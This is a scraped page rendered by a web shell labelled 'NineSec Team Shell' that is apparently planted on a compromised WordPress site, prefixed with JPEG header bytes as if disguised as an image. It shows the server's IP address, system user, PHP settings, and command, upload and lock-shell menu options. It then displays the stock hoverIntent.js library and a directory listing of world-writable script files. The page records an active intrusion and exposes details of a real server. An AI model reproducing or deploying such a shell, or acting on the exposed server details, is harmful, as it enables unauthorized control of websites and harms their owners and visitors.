�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /home/readytorun/domains/demo.readytorun.it/public_html/wp-content/../wp-includes/js/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/readytorun/domains/demo.readytorun.it/public_html/wp-content/../wp-includes/js/hoverIntent.js
/*!
 * hoverIntent v1.10.2 // 2020.04.28 // jQuery v1.7.0+
 * http://briancherne.github.io/jquery-hoverIntent/
 *
 * You may use hoverIntent under the terms of the MIT license. Basically that
 * means you are free to use hoverIntent as long as this header is left intact.
 * Copyright 2007-2019 Brian Cherne
 */

/**
 * hoverIntent is similar to jQuery's built-in "hover" method except that
 * instead of firing the handlerIn function immediately, hoverIntent checks
 * to see if the user's mouse has slowed down (beneath the sensitivity
 * threshold) before firing the event. The handlerOut function is only
 * called after a matching handlerIn.
 *
 * // basic usage ... just like .hover()
 * .hoverIntent( handlerIn, handlerOut )
 * .hoverIntent( handlerInOut )
 *
 * // basic usage ... with event delegation!
 * .hoverIntent( handlerIn, handlerOut, selector )
 * .hoverIntent( handlerInOut, selector )
 *
 * // using a basic configuration object
 * .hoverIntent( config )
 *
 * @param  handlerIn   function OR configuration object
 * @param  handlerOut  function OR selector for delegation OR undefined
 * @param  selector    selector OR undefined
 * @author Brian Cherne <brian(at)cherne(dot)net>
 */

;(function(factory) {
    'use strict';
    if (typeof define === 'function' && define.amd) {
        define(['jquery'], factory);
    } else if (typeof module === 'object' && module.exports) {
        module.exports = factory(require('jquery'));
    } else if (jQuery && !jQuery.fn.hoverIntent) {
        factory(jQuery);
    }
})(function($) {
    'use strict';

    // default configuration values
    var _cfg = {
        interval: 100,
        sensitivity: 6,
        timeout: 0
    };

    // counter used to generate an ID for each instance
    var INSTANCE_COUNT = 0;

    // current X and Y position of mouse, updated during mousemove tracking (shared across instances)
    var cX, cY;

    // saves the current pointer position coordinates based on the given mousemove event
    var track = function(ev) {
        cX = ev.pageX;
        cY = ev.pageY;
    };

    // compares current and previous mouse positions
    var compare = function(ev,$el,s,cfg) {
        // compare mouse positions to see if pointer has slowed enough to trigger `over` function
        if ( Math.sqrt( (s.pX-cX)*(s.pX-cX) + (s.pY-cY)*(s.pY-cY) ) < cfg.sensitivity ) {
            $el.off(s.event,track);
            delete s.timeoutId;
            // set hoverIntent state as active for this element (permits `out` handler to trigger)
            s.isActive = true;
            // overwrite old mouseenter event coordinates with most recent pointer position
            ev.pageX = cX; ev.pageY = cY;
            // clear coordinate data from state object
            delete s.pX; delete s.pY;
            return cfg.over.apply($el[0],[ev]);
        } else {
            // set previous coordinates for next comparison
            s.pX = cX; s.pY = cY;
            // use self-calling timeout, guarantees intervals are spaced out properly (avoids JavaScript timer bugs)
            s.timeoutId = setTimeout( function(){compare(ev, $el, s, cfg);} , cfg.interval );
        }
    };

    // triggers given `out` function at configured `timeout` after a mouseleave and clears state
    var delay = function(ev,$el,s,out) {
        var data = $el.data('hoverIntent');
        if (data) {
            delete data[s.id];
        }
        return out.apply($el[0],[ev]);
    };

    // checks if `value` is a function
    var isFunction = function(value) {
        return typeof value === 'function';
    };

    $.fn.hoverIntent = function(handlerIn,handlerOut,selector) {
        // instance ID, used as a key to store and retrieve state information on an element
        var instanceId = INSTANCE_COUNT++;

        // extend the default configuration and parse parameters
        var cfg = $.extend({}, _cfg);
        if ( $.isPlainObject(handlerIn) ) {
            cfg = $.extend(cfg, handlerIn);
            if ( !isFunction(cfg.out) ) {
                cfg.out = cfg.over;
            }
        } else if ( isFunction(handlerOut) ) {
            cfg = $.extend(cfg, { over: handlerIn, out: handlerOut, selector: selector } );
        } else {
            cfg = $.extend(cfg, { over: handlerIn, out: handlerIn, selector: handlerOut } );
        }

        // A private function for handling mouse 'hovering'
        var handleHover = function(e) {
            // cloned event to pass to handlers (copy required for event object to be passed in IE)
            var ev = $.extend({},e);

            // the current target of the mouse event, wrapped in a jQuery object
            var $el = $(this);

            // read hoverIntent data from element (or initialize if not present)
            var hoverIntentData = $el.data('hoverIntent');
            if (!hoverIntentData) { $el.data('hoverIntent', (hoverIntentData = {})); }

            // read per-instance state from element (or initialize if not present)
            var state = hoverIntentData[instanceId];
            if (!state) { hoverIntentData[instanceId] = state = { id: instanceId }; }

            // state properties:
            // id = instance ID, used to clean up data
            // timeoutId = timeout ID, reused for tracking mouse position and delaying "out" handler
            // isActive = plugin state, true after `over` is called just until `out` is called
            // pX, pY = previously-measured pointer coordinates, updated at each polling interval
            // event = string representing the namespaced event used for mouse tracking

            // clear any existing timeout
            if (state.timeoutId) { state.timeoutId = clearTimeout(state.timeoutId); }

            // namespaced event used to register and unregister mousemove tracking
            var mousemove = state.event = 'mousemove.hoverIntent.hoverIntent'+instanceId;

            // handle the event, based on its type
            if (e.type === 'mouseenter') {
                // do nothing if already active
                if (state.isActive) { return; }
                // set "previous" X and Y position based on initial entry point
                state.pX = ev.pageX; state.pY = ev.pageY;
                // update "current" X and Y position based on mousemove
                $el.off(mousemove,track).on(mousemove,track);
                // start polling interval (self-calling timeout) to compare mouse coordinates over time
                state.timeoutId = setTimeout( function(){compare(ev,$el,state,cfg);} , cfg.interval );
            } else { // "mouseleave"
                // do nothing if not already active
                if (!state.isActive) { return; }
                // unbind expensive mousemove event
                $el.off(mousemove,track);
                // if hoverIntent state is true, then call the mouseOut function after the specified delay
                state.timeoutId = setTimeout( function(){delay(ev,$el,state,cfg.out);} , cfg.timeout );
            }
        };

        // listen for mouseenter and mouseleave
        return this.on({'mouseenter.hoverIntent':handleHover,'mouseleave.hoverIntent':handleHover}, cfg.selector);
    };
});

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
January 15 2025 5:40:42
readytorun
0755
codemirror
--
September 11 2024 5:18:57
readytorun
0755
crop
--
September 11 2024 5:18:57
readytorun
0755
dist
--
September 11 2024 5:19:31
readytorun
0755
imgareaselect
--
September 11 2024 5:18:57
readytorun
0755
jcrop
--
September 11 2024 5:18:57
readytorun
0755
jquery
--
September 11 2024 5:19:31
readytorun
0755
mediaelement
--
September 11 2024 5:18:57
readytorun
0755
plupload
--
September 11 2024 5:18:57
readytorun
0755
swfupload
--
September 11 2024 5:18:57
readytorun
0755
thickbox
--
September 11 2024 5:18:57
readytorun
0755
tinymce
--
September 11 2024 5:18:57
readytorun
0755
wp
--
September 11 2024 5:18:57
readytorun
0755
.htaccess
0.124 KB
November 14 2025 9:26:18
readytorun
0444
admin-bar.js
10.51 KB
August 28 2023 5:04:00
readytorun
0777
admin-bar.min.js
3.453 KB
August 28 2023 5:04:00
readytorun
0777
api-request.js
3.246 KB
August 28 2023 5:03:58
readytorun
0777
api-request.min.js
0.999 KB
August 28 2023 5:03:58
readytorun
0777
autosave.js
21.949 KB
August 28 2023 5:03:58
readytorun
0777
autosave.min.js
5.671 KB
August 28 2023 5:04:00
readytorun
0777
backbone.js
77.873 KB
November 10 2023 1:05:53
readytorun
0777
backbone.min.js
23.574 KB
November 10 2023 1:05:53
readytorun
0777
clipboard.js
26.179 KB
August 28 2023 5:04:00
readytorun
0777
clipboard.min.js
8.798 KB
August 28 2023 5:03:59
readytorun
0777
colorpicker.js
28.401 KB
August 28 2023 5:03:59
readytorun
0777
colorpicker.min.js
16.13 KB
August 28 2023 5:03:58
readytorun
0777
comment-reply.js
12.165 KB
August 28 2023 5:04:00
readytorun
0777
comment-reply.min.js
2.911 KB
August 28 2023 5:04:00
readytorun
0777
customize-base.js
25.217 KB
August 28 2023 5:03:59
readytorun
0777
customize-base.min.js
7.668 KB
August 28 2023 5:03:59
readytorun
0777
customize-loader.js
7.719 KB
August 28 2023 5:04:01
readytorun
0777
customize-loader.min.js
3.468 KB
August 28 2023 5:03:58
readytorun
0777
customize-models.js
6.661 KB
August 28 2023 5:03:59
readytorun
0777
customize-models.min.js
3.595 KB
August 28 2023 5:04:01
readytorun
0777
customize-preview-nav-menus.js
14.672 KB
August 28 2023 5:03:59
readytorun
0777
customize-preview-nav-menus.min.js
4.92 KB
August 28 2023 5:04:00
readytorun
0777
customize-preview-widgets.js
22.708 KB
August 28 2023 5:03:59
readytorun
0777
customize-preview-widgets.min.js
7.642 KB
August 28 2023 5:03:58
readytorun
0777
customize-preview.js
27.305 KB
August 28 2023 5:03:59
readytorun
0777
customize-preview.min.js
10.453 KB
August 28 2023 5:04:00
readytorun
0777
customize-selective-refresh.js
32.551 KB
August 28 2023 5:04:00
readytorun
0777
customize-selective-refresh.min.js
10.441 KB
August 28 2023 5:03:59
readytorun
0777
customize-views.js
4.946 KB
August 28 2023 5:04:01
readytorun
0777
customize-views.min.js
2.394 KB
August 28 2023 5:04:01
readytorun
0777
heartbeat.js
23.391 KB
November 10 2023 1:05:53
readytorun
0777
heartbeat.min.js
5.872 KB
November 10 2023 1:05:53
readytorun
0777
hoverIntent.js
7.056 KB
August 28 2023 5:04:00
readytorun
0777
hoverIntent.min.js
1.464 KB
August 28 2023 5:04:00
readytorun
0777
hoverintent-js.min.js
1.678 KB
August 28 2023 5:03:58
readytorun
0777
imagesloaded.min.js
5.391 KB
November 10 2023 1:05:53
readytorun
0777
json2.js
17.99 KB
August 28 2023 5:03:59
readytorun
0777
json2.min.js
3.069 KB
August 28 2023 5:03:59
readytorun
0777
masonry.min.js
23.572 KB
August 28 2023 5:03:58
readytorun
0777
mce-view.js
25.243 KB
November 10 2023 1:05:53
readytorun
0777
mce-view.min.js
9.541 KB
November 10 2023 1:05:53
readytorun
0777
media-audiovideo.js
24.446 KB
August 28 2023 5:04:00
readytorun
0777
media-audiovideo.min.js
11.854 KB
August 28 2023 5:03:59
readytorun
0777
media-editor.js
28.437 KB
August 28 2023 5:03:59
readytorun
0777
media-editor.min.js
10.63 KB
August 28 2023 5:03:59
readytorun
0777
media-grid.js
26.233 KB
August 28 2023 5:03:59
readytorun
0777
media-grid.min.js
13.026 KB
August 28 2023 5:04:01
readytorun
0777
media-models.js
42.768 KB
November 10 2023 1:05:53
readytorun
0777
media-models.min.js
13.021 KB
November 10 2023 1:05:53
readytorun
0777
media-views.js
265.049 KB
August 28 2023 5:04:01
readytorun
0777
media-views.min.js
107.693 KB
August 28 2023 5:03:58
readytorun
0777
quicktags.js
22.071 KB
August 28 2023 5:03:59
readytorun
0777
quicktags.min.js
10.871 KB
August 28 2023 5:04:01
readytorun
0777
shortcode.js
10.506 KB
August 28 2023 5:04:01
readytorun
0777
shortcode.min.js
2.581 KB
August 28 2023 5:03:59
readytorun
0777
swfobject.js
9.991 KB
August 28 2023 5:03:59
readytorun
0777
tw-sack.js
4.853 KB
August 28 2023 5:03:59
readytorun
0777
tw-sack.min.js
3.211 KB
August 28 2023 5:04:01
readytorun
0777
twemoji.js
32.313 KB
August 28 2023 5:03:58
readytorun
0777
twemoji.min.js
15.384 KB
August 28 2023 5:03:58
readytorun
0777
underscore.js
66.771 KB
August 28 2023 5:03:58
readytorun
0777
underscore.min.js
18.392 KB
August 28 2023 5:03:58
readytorun
0777
utils.js
4.556 KB
August 28 2023 5:04:00
readytorun
0777
utils.min.js
1.82 KB
August 28 2023 5:04:00
readytorun
0777
wp-ajax-response.js
3.684 KB
August 28 2023 5:04:01
readytorun
0777
wp-ajax-response.min.js
2.383 KB
August 28 2023 5:03:59
readytorun
0777
wp-api.js
45.882 KB
August 28 2023 5:03:58
readytorun
0777
wp-api.min.js
14.338 KB
August 28 2023 5:04:00
readytorun
0777
wp-auth-check.js
4.108 KB
August 28 2023 5:04:01
readytorun
0777
wp-auth-check.min.js
1.619 KB
August 28 2023 5:04:01
readytorun
0777
wp-backbone.js
14.883 KB
August 28 2023 5:03:58
readytorun
0777
wp-backbone.min.js
2.968 KB
August 28 2023 5:04:01
readytorun
0777
wp-custom-header.js
10.22 KB
August 28 2023 5:04:01
readytorun
0777
wp-custom-header.min.js
4.338 KB
August 28 2023 5:04:00
readytorun
0777
wp-embed-template.js
6.62 KB
August 28 2023 5:04:00
readytorun
0777
wp-embed-template.min.js
3.1 KB
August 28 2023 5:03:58
readytorun
0777
wp-embed.js
3.139 KB
November 10 2023 1:05:53
readytorun
0777
wp-embed.min.js
1.222 KB
November 10 2023 1:05:53
readytorun
0777
wp-emoji-loader.js
12.229 KB
August 28 2023 5:03:59
readytorun
0777
wp-emoji-loader.min.js
2.919 KB
August 28 2023 5:04:00
readytorun
0777
wp-emoji-release.min.js
18.254 KB
August 28 2023 5:04:01
readytorun
0777
wp-emoji.js
8.759 KB
August 28 2023 5:04:00
readytorun
0777
wp-emoji.min.js
2.822 KB
August 28 2023 5:03:59
readytorun
0777
wp-list-revisions.js
0.947 KB
August 28 2023 5:04:01
readytorun
0777
wp-list-revisions.min.js
0.583 KB
August 28 2023 5:03:59
readytorun
0777
wp-lists.js
24.722 KB
August 28 2023 5:04:00
readytorun
0777
wp-lists.min.js
7.345 KB
August 28 2023 5:04:00
readytorun
0777
wp-pointer.js
9.993 KB
August 28 2023 5:04:01
readytorun
0777
wp-pointer.min.js
3.536 KB
August 28 2023 5:03:59
readytorun
0777
wp-sanitize.js
1.318 KB
August 28 2023 5:04:00
readytorun
0777
wp-sanitize.min.js
0.447 KB
August 28 2023 5:03:59
readytorun
0777
wp-util.js
4.569 KB
August 28 2023 5:04:00
readytorun
0777
wp-util.min.js
1.393 KB
August 28 2023 5:03:59
readytorun
0777
wpdialog.js
0.556 KB
August 28 2023 5:03:58
readytorun
0777
wpdialog.min.js
0.274 KB
August 28 2023 5:03:59
readytorun
0777
wplink.js
20.663 KB
August 28 2023 5:04:01
readytorun
0777
wplink.min.js
10.989 KB
August 28 2023 5:03:59
readytorun
0777
zxcvbn-async.js
0.802 KB
August 28 2023 5:04:00
readytorun
0777
zxcvbn-async.min.js
0.343 KB
August 28 2023 5:03:59
readytorun
0777
zxcvbn.min.js
802.966 KB
August 28 2023 5:04:00
readytorun
0777

NineSec Team - 2022